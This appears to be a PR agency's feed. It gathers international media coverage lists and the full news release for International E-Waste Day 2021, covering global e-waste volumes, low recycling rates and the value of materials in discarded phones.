Gadgets 360 India (16,676,073)Smartphone Waste to Constitute Over 30 Percent of World’s Total Mobiles in 2022: Report https://gadgets360.com/mobiles/news/smartphones-e-waste-over-5-billion-out-of-16-billion-mobile-phones-2022-weee-forum-report-3429381

Univision Television Network, United States (16,188,806)Por qué es tan perjudicial que guardes el celular viejo en un cajón  https://www.univision.com/noticias/medio-ambiente/tecnologia-telefonos-celulares-reciclaje-basura

ORF Online, Austria (7,832,963)Mehr als fünf Milliarden Handys Abfall https://science.orf.at/stories/3215552/

Iefimerida, Greece (3,764,038)Περίπου 5,3 δισ. κινητά τηλέφωνα θα πεταχτούν το 2022 -Ελάχιστα θα ανακυκλωθούν https://www.iefimerida.gr/tehnologia/kinita-tilefona-petahtoyn-2022-na-anakyklothoyn

Forbes México, Mexico (2,519,113)5,300 millones de celulares se convertirán en basura a final de año https://www.forbes.com.mx/5300-millones-de-celulares-se-convertiran-en-basura-a-final-de-anio/

Yahoo! News Taiwan, Taiwan (11,263,232)電子垃圾泛濫 2022年有53億手機成廢物  https://tw.news.yahoo.com/%E9%9B%BB%E5%AD%90%E5%9E%83%E5%9C%BE%E6%B3%9B%E6%BF%AB-2022%E5%B9%B4%E6%9C%8953%E5%84%84%E6%89%8B%E6%A9%9F%E6%88%90%E5%BB%A2%E7%89%A9-002348793.html

WEB, Germany (12,229,811)13 Geräte pro Haushalt: Zu viel Elektronik wird gehortet  https://web.de/magazine/digital/13-geraete-haushalt-elektronik-gehortet-37381042

Báo Mới, Viet Nam (5,457,584)Ngày này năm xưa 14/10: Ngày truyền thống ngành Tổ chức xây dựng Đảng; thành lập Hội Nông dân Việt Nam.  https://baomoi.com/ngay-nay-nam-xua-14-10-ngay-truyen-thong-nganh-to-chuc-xay-dung-dang-thanh-lap-hoi-nong-dan-viet-nam/c/43992952.epi

Xinhua News Agency (搜狐新闻) via Sohu, Mainland China (60,317,411)
报告估计全球今年53亿部手机被废置
https://www.sohu.com/a/592700148_267106

Merdeka.com, Indonesia (27,540,089)
Berapa Banyak Ponsel yang akan Dibuang Tahun Ini? Simak Datanya
https://www.merdeka.com/dunia/berapa-banyak-ponsel-yang-akan-dibuang-tahun-ini-simak-datanya.html

Haber Turk, Turkey (25,608,489)
Dünyada 2022’de 5,3 milyar cep telefonunun çöpe atılacağı tahmin ediliyor
https://www.haberturk.com/ankara-haberleri/29153096-dunyada-2022de-5-3-milyar-cep-telefonunun-cope-atilacagi-tahmin-ediliyor

The Times of India, (25,572,919)
Roughly 5.3 billion mobile phones possessed worldwide will become waste in 2022: Report
https://timesofindia.indiatimes.com/gadgets-news/roughly-5-3-billion-mobile-phones-possessed-worldwide-will-become-waste-in-2022-report/articleshow/94856115.cms

Sky News, United Kingdom (22,970,244)
Stop hoarding your phones, Brits urged – here’s how to recycle them
https://news.sky.com/story/stop-hoarding-your-phones-brits-urged-heres-how-to-recycle-them-12720074

Daum, Korea (21,696,948)
전세계 160억대 휴대전화 중 올해만 ’53억대 이상’ 폐기된다
https://v.daum.net/v/20221014160406136

ANSA, Italy (18,182,248)Oltre 5 miliardi di telefonini in disuso nel 2022  https://www.ansa.it/sito/notizie/cronaca/2022/10/14/oltre-5-miliardi-di-telefonini-in-disuso-nel-2022_ab44bffc-d0c1-4f94-8cc6-9398b4f445a7.html

SAPO, Portugal (8,869,708)Europeus têm em casa 13 equipamentos eléctricos que não usam https://marketeer.sapo.pt/europeus-tem-em-casa-13-equipamentos-electricos-que-nao-usam/
2) Frigoríficos e computadores antigos formam escultura gigante em Belém https://marketeer.sapo.pt/frigorificos-e-computadores-antigos-formam-escultura-gigante-em-belem/

Europa Press, Spain (5,650,878)Los auriculares y los mandos a distancia son los productos electrónicos que más se acumulan en los hogares https://www.europapress.es/portaltic/gadgets/noticia-auriculares-mandos-distancia-son-productos-electronicos-mas-acumulan-hogares-20221014173502.html
2) Fundación Ecolec gestionó casi 15.000 toneladas de residuos de pequeños aparatos eléctricos y electrónicos en 2021  https://www.europapress.es/sociedad/medio-ambiente-00647/noticia-fundacion-ecolec-gestiono-casi-15000-toneladas-residuos-pequenos-aparatos-electricos-electronicos-2021-20221014120405.html

Anadolu Agency, Turkey (8,031,259)Dünyada 2022’de 5,3 milyar cep telefonunun çöpe atılacağı tahmin ediliyor https://www.aa.com.tr/tr/dunya/dunyada-2022de-5-3-milyar-cep-telefonunun-cope-atilacagi-tahmin-ediliyor/2711378

Central News Agency, Taiwan (2,632,522)研究：2022年53億支手機變廢物 危險材質威脅環境  https://www.cna.com.tw/news/aopl/202210140333.aspx

Indo Asian News Service, via ProKerala, India (9,912,459)5.3 bn mobile phones will become waste this year, warn experts  https://www.prokerala.com/news/articles/a1354156.html

Popular Science, United States (3,347,432)People will throw away about 5.3 billion phones this year  https://www.popsci.com/environment/waste-5-billion-phones-this-year/

La Croix, France (2,133,951)Revente, recyclage… Comment profiter de la ressource de nos vieux smartphones https://www.la-croix.com/Sciences-et-ethique/Revente-recyclage-Comment-profiter-ressource-vieux-smartphones-2022-10-14-1201237710

News release in full, click here

Full coverage summary, click here

]]> In the news, 2021: Our clients’ most noted science news releases of the year https://terrycollinsassociates.com/in-the-news-2021-our-most-noted-science-news-releases-of-the-year/ Sat, 01 Jan 2022 21:55:00 +0000 https://terrycollinsassociates.com/in-the-news-2021-our-most-noted-science-news-releases-of-the-year/ Terry Collins & Assoc., Toronto

Of the 18 science news releases produced in 2021, 16 were environment-themed: food waste, e-waste, oceans, biodiversity, dams, and floods. And one announced 14 living male relatives of Leonardo da Vinci, advancing a project investigating his DNA. 

https://express.adobe.com/page/ESEhvwJ6lNvtL/

2 minute slideshow: Click here

These releases generated over 9,200 news articles, published at thousands of online news sites in scores of countries and dozens of languages, ~33 billion potential public impressions in all, according to the Meltwater news search engine, which estimates actual impressions via online news sites at 825 million. Millions of additional impressions were also generated via print newspapers, magazines, radio, TV and social media.

With thanks to the researchers and collaborators behind these stories, and to the many journalists who covered them, the following releases were the most noted last year.

]]> International E-Waste Day: 57.4M tonnes expected in 2021 will outweigh China’s Great Wall https://terrycollinsassociates.com/international-e-waste-day-57-4m-tonnes-expected-in-2021-will-outweigh-chinas-great-wall/ Wed, 13 Oct 2021 08:56:00 +0000 https://terrycollinsassociates.com/international-e-waste-day-57-4m-tonnes-expected-in-2021-will-outweigh-chinas-great-wall/ UN University / WEEE Forum, Brussels

The e-waste result of an online streaming explosion: an emerging concern / information gap

On International E-Waste Day 2021, leading experts and producer responsibility organisations are calling on households, businesses and governments to get behind efforts to get more dead or unused plug-in or battery-operated products to facilities where they can be either repaired or recycled to recover a king’s fortune in valuable materials and reduce the need for new resources.

This year’s worldwide mountain of waste electronic and electrical equipment (WEEE) will total an estimated 57.4 million tonnes — greater than the weight of the Great Wall of China, Earth’s heaviest artificial object.

Last year’s Global E-waste Monitor 2020 reported an estimated 53.6 million metric tonnes (Mt) of WEEE generated in 2019 — a 21% jump in the five years since 2014 (with e-waste on a predicted course to 74 Mt by 2030). 

Global e-waste generation is therefore growing annually by 2 Mt, or about 3 to 4%, a problem attributed to higher consumption rates of electronics (increasing 3% annually), shorter product lifecycles and limited repair options.

According to estimates in Europe, where the problem is best studied, 11 of 72 electronic items in an average household are no longer in use or are broken.  Annually per citizen, another 4 to 5 kg of unused electrical and electronic products are hoarded in Europe prior to being discarded. 

When it comes to mobile phones, a French study estimates that 54 to 113 million mobile phones alone, weighing 10 to 20 tonnes, are sleeping in drawers and other storage spaces in French homes.

In the US, while many mobile phones are recycled, an estimated 151 million or more phones a year — approximately 416,000 a day — are trashed and end up incinerated or landfilled, and that 40% of heavy metals in US landfills come from discarded electronics.

By weight, discarded big appliances such as stoves and refrigerators constitute the largest component of e-waste. These large appliances contain steel, copper and aluminium which makes them attractive to thieves. Despite concerted efforts by governments at many levels, this problem persists. Even in the EU, which has had comprehensive Extended Producer Responsibility (EPR) legislation in place for nearly two decades, consisting of targets and legal responsibilities, the EU’s formal e-waste collection rate is 55% (2018). Huge progress has been made in the last 20 years, but member states still struggle to achieve the targets for many complex reasons, as documented by UNITAR and the Brussels-based WEEE Forum in a report, WEEE Flows study and vision.

Says Pascal Leroy, Director General of the WEEE Forum, the organisation behind International E-Waste Day: “Many factors play a role in making the electrical and electronics sector resource efficient and circular. For example, our member producer responsibility organisations collected and secured responsible recycling of 2.8 Mt of e-waste in 2020.  But one thing stands out: as long as citizens don’t return their used, broken gear, sell it, or donate it, we will need to continue mining all-new materials causing great environmental damage.”

“This year’s focus for International E-Waste Day is the crucial role each of us has in making circularity a reality for e-products. This is more important than ever as our Governments go into COP26 to discuss global action to reduce carbon emissions. Every tonne of WEEE recycled avoids around 2 tonnes of CO2 emissions. If we all do the right thing with our e-waste we help to reduce harmful CO2 emissions ”

Hoarding, and the failure to return EEE

Comments Virginijus Sinkevičius, EU Commissioner for Environment, Oceans and Fisheries: “E-waste is one of the fastest growing waste streams, in Europe and around the world. To change this trend we should not think of it as waste, but rather wasted opportunity as longer-lasting products would be massive savings not just for consumers, but in precious raw materials and CO2 emissions. At the Commission, we are working on new eco-design requirements for electronic devices, to increase durability and make them easier to repair. We also want consumers to have better information, so it’s easier to make a sustainable choice.” (Video: https://bit.ly/3mGe6qN)

When asked about recycling rates, members of the public estimate that 40-50% of e-waste is recycled (illustrated by interviews at https://bit.ly/3FtNPoj, available from 14 October). In fact, less than half that — 17.4% — was known to be properly treated and recycled in 2019.  

In the case of cell phones, tablets, computers and other small information technology products, many factors are thought to discourage recycling, including data security, product value, difficult-to-reach return points, and uncertainty about appropriate recycling, among others.

Says Ruediger Kuehr, Director of the SCYCLE Programme and Head of UNITAR’s Office in Bonn, the value of EEE components in the world’s ‘urban mines’ is enormous.

“A tonne of discarded mobile phones is richer in gold than a tonne of gold ore,” Dr. Kuehr points out. 

“Embedded in 1 million cell phones, for example, are 24 kg of gold, 16,000 kg of copper, 350 kg of silver, and 14 kg of palladium — resources that could be recovered and returned to the production cycle. And if we fail to recycle these materials, new supplies need to be mined, harming the environment.”  

“Moreover, the recovery of gold and other material from waste saves a lot of carbon dioxide emissions when compared with virgin metal mining,” says Kees Baldé, Senior Programme Officer of the UN University’s SCYCLE Programme.  

He adds that high-value, recoverable materials conservatively valued at US $57 billion — a sum greater than the Gross Domestic Product of most countries – were mostly dumped or burned in those parts of the world without extended producer responsibility legislation in 2019 rather than being collected for treatment and reuse.

Successfully raising collection rates requires every actor to be involved, including consumers.

“Alongside convenience, financial compensation, care for the environment, culture and social norms, awareness is one of the key motivators for people to take action on e-waste,” says Magdalena Charytanowicz of the WEEE Forum in charge of International E-Waste Day. 

“This is why on 14 October we hope to reach as many citizens worldwide as possible and urge the proper disposal of end-of-life electronics by encouraging campaigns and awareness activities such as e-waste collections, school lectures, and social media outreach. Even the smallest action promoting sound e-waste collection, repair, reuse or recycling is welcome in the frame of International E-Waste Day.”

“Consumers,” she adds, “want to do the right thing but need to be adequately informed and a convenient infrastructure should be easily available to them so that disposing of e-waste correctly becomes the social norm in communities.”

E-waste and the Internet: An information gap

An emerging dimension of the e-waste issue: rising world demand for data and digital services.

A recent European report (at https://bit.ly/3A9gzyC) says that “video on demand, movies, social media clips and game streaming take up close to 85% of the bandwidth of the data centres.”

Meanwhile, a 2020 joint ITU and WEEE Forum study (at https://bit.ly/3o5pRcz) underlines that digitalisation is needed to foster economic circularity.  It also includes several startling statistics. For example: 

  • Internet users have doubled since 2010, traffic has grown approximately 30% annually, and by 2023 users worldwide will number 5.3 billion (66% of the world’s population).
  • Mobile Internet users are projected to increase from 3.8 billion in 2019 to 5 billion by 2025 while IoT-connected devices will double from 12 billion to 25 billion in that same period.

All this and the dawning uses of cloud computing, 5G, self-driving cars, blockchain, machine learning and other areas of artificial intelligence require an ever-growing number of servers — millions of them in data centres.  

While this type of professional equipment for Internet connectivity certainly represents far less e-waste by weight than consumer devices, the report notes, there is very little hard data available — an information gap that needs to be filled.

Adds the report: “Smartphones continue to be at the centre of data use growth, as they generate most of the mobile data traffic (95% projected in 2025). Traffic growth is driven both by the rising number of smartphone subscriptions and increasing average data volume per subscription, fuelled primarily by higher resolution video content viewing.”

And product manufacturers have a major role to play alongside that of consumers. 

“Fast mobile phone development has led to a market dependency on rapid replacement of older devices. Mobile devices affect the environment in many ways over their lifetimes, but the impact can be reduced and spread over a longer period by applying circular economy principles, including production control, device reuse, remanufacture and recycling, and improved circular design involving component material selection, standardization and modularization for easier disassembly.”

* * * * *

About 

International e-Waste Day (#ewasteday)

Last year over 120 organisations from 50 countries worldwide supported the third International e-Waste Day observance. This year, the WEEE Forum and other organizers invite all organisations involved in effective and responsible e-waste management to plan awareness raising activities.

www.internationalewasteday.com 

The WEEE Forum 

The WEEE Forum is a Brussels-based for-impact, not-for-profit international association representing forty-five producer responsibility organisations across the globe. Together with our members, we are at the forefront of turning the extended producer responsibility principle into an effective electronic waste management policy approach through our combined knowledge of the technical, business and operational aspects of collection, logistics, de-pollution, processing, preparing for reuse and reporting of e-waste. It is the biggest organisation of its kind in the world. Our mission is to be the world’s foremost e-waste competence centre excelling in the implementation of the circularity principle. The PROs are based in Europe, the Americas, Africa, Oceania and Asia. In 2020, its member organisations reported collection and proper de-pollution and recycling of 2.8 Mt of WEEE. Website: www.weee-forum.org. Correspondence pascal.leroy@weee-forum.org 

* * * * *

Media coverage highlights:

News release in full: click here

Newswires

Associated Press Television Network, “International E-Waste Day: Recycling old washing machines,” click here

Reuters, via Daily Mail, United Kingdom (72,277,803), “It’s our stuff’: consumers wage right-to-repair revolution,” click here

Deutsche Presse Agentur, via Handelsblatt, Germany (6,697,360), “Höchstwert an Elektroschrott erwartet: Appell an Verbraucher,” click here

Austria Presse Agentur, Austria “57,4 Millionen Tonnen Elektroschrott erwartet” (57.4 million tons of electronic waste expected), click here

Agencia EFE, Spain, via El Tiempo, Colombia (13,299,771) Spanish version: “Basura electrónica en 2021 tendrá más peso que la Gran Muralla china,” click here; French: “La basura electrónica en 2021 tendrá más peso que la Gran Muralla china,” click here

Europa Press, Spain (6,673,251) “Hasta 57,4 millones de toneladas se producirán este 2021, el equivalente a la Gran Muralla China, según estimaciones,” click here

IndoAsian News Service, via ProKerala, India (10,953,240) “International E-Waste Day: Discarded cell phones richer in gold than ore,” click here

Athenian News Agency – Macedonian Agency, Greece “Τους 57,4 εκατ. τόνους θα φθάσουν τα παγκόσμια ηλεκτρονικά και ηλεκτρικά απόβλητα το 2021” (Global electronics and electrical waste to reach 57.4 million tonnes in 2021), click here

News sites

BBC, UK (31,011,679) “Waste electronics will weigh more than the Great Wall of China,” click here

The Independent, United Kingdom (44,598,029) “‘Mountain’ of electronic waste from this year alone will weigh as much as Great Wall of China, experts warn,” click here

Times Of India, India (27,536,472) “Asus announces #DiscardResposibily campaign for e-waste disposal,” click here

La Repubblica, Italy (23,274,270) “I rifiuti elettrici ed elettronici prodotti nell’ultimo anno pesano più della Grande Muraglia cinese,” click here

ABC News, Australia (21,879,584) “E-waste surges in 2021 as world sends goldmine to landfill,” click here

Gazeta, Poland (9,899,000) “NIE WYRZUCAJ ELEKTROŚMIECI DO ŚMIETNIKA. Nowy, ekologiczny mural w centrum Warszawy!”, click here

凤凰网, Mainland China (18,320,678) “今年人类将产生近6300万吨电子垃圾 价值约625亿美元,” click here

Environmental Health News, United States “Electronic waste from just this year will outweigh the Great Wall of China,” click here

Fast Company, United States (5,335,903) “The ‘mountain’ of electronics we discard in 2021 could weigh more than the Great Wall of China,” click here

Inverse, United States (10,548,685) “International E-Waste Day 2021: 6 shocking facts raise the alarm on a growing crisis,” click here

Tech Times, United States (1,280,915) “2021 E-Waste Surges at 57.4 Million Tons with Only 17.4% Recycled as Per 2019 Figures,” click here

Naked Scientists, UK, “E-waste recycling rates are alarmingly low,” click here

ORF, Austria (1,223,8580). “Elektromüllberg schwerer als Chinesische”
(Mountain of electrical waste heavier than the Great Wall of China), click here

India.com, via MSN हिंदी India, “International E-Waste Day: सोने-चांदी का खजाना है आपका मोबाइल फोन, जरूरत है तो बस”, click here

IT-Hallbarhet, Sweden, “International E-waste Day – Lämna in din uttjänta hemelektronik för återvinning,” click here

Liputan6, Indonesia (23,212,729) “Limbah Elektronik Tahun 2021 Capai 57,4 Juta Metrik Ton,” click here

VN Express, Viet Nam (12,721,405) “Rác điện tử năm 2021 nặng hơn Vạn lý Trường thành” (E-waste in 2021 is heavier than the Great Wall), click here

(Prachachat)ประชาชาติธุรกิจ, Thailand (3,808,425) “14 ต.ค. วันขยะอิเล็กทรอนิกส์สากล AIS ดึงน้องเทนนิส ปลุกกระแสรีไซเคิล” (October 14, International Electronic Waste Day, Awaken the recycling stream), click here

Portfolio, Hungary (3,251,250), “Idén a kínai nagy falnál is nagyobb tömegű lesz az elektronikus hulladék,” click here

Delfi, Lithuania (2,429,244), “Elektronikos atliekų drastiškai daugėja: šiemet jos svers daugiau nei Didžioji kinų siena,” click here

Full coverage summary, click here

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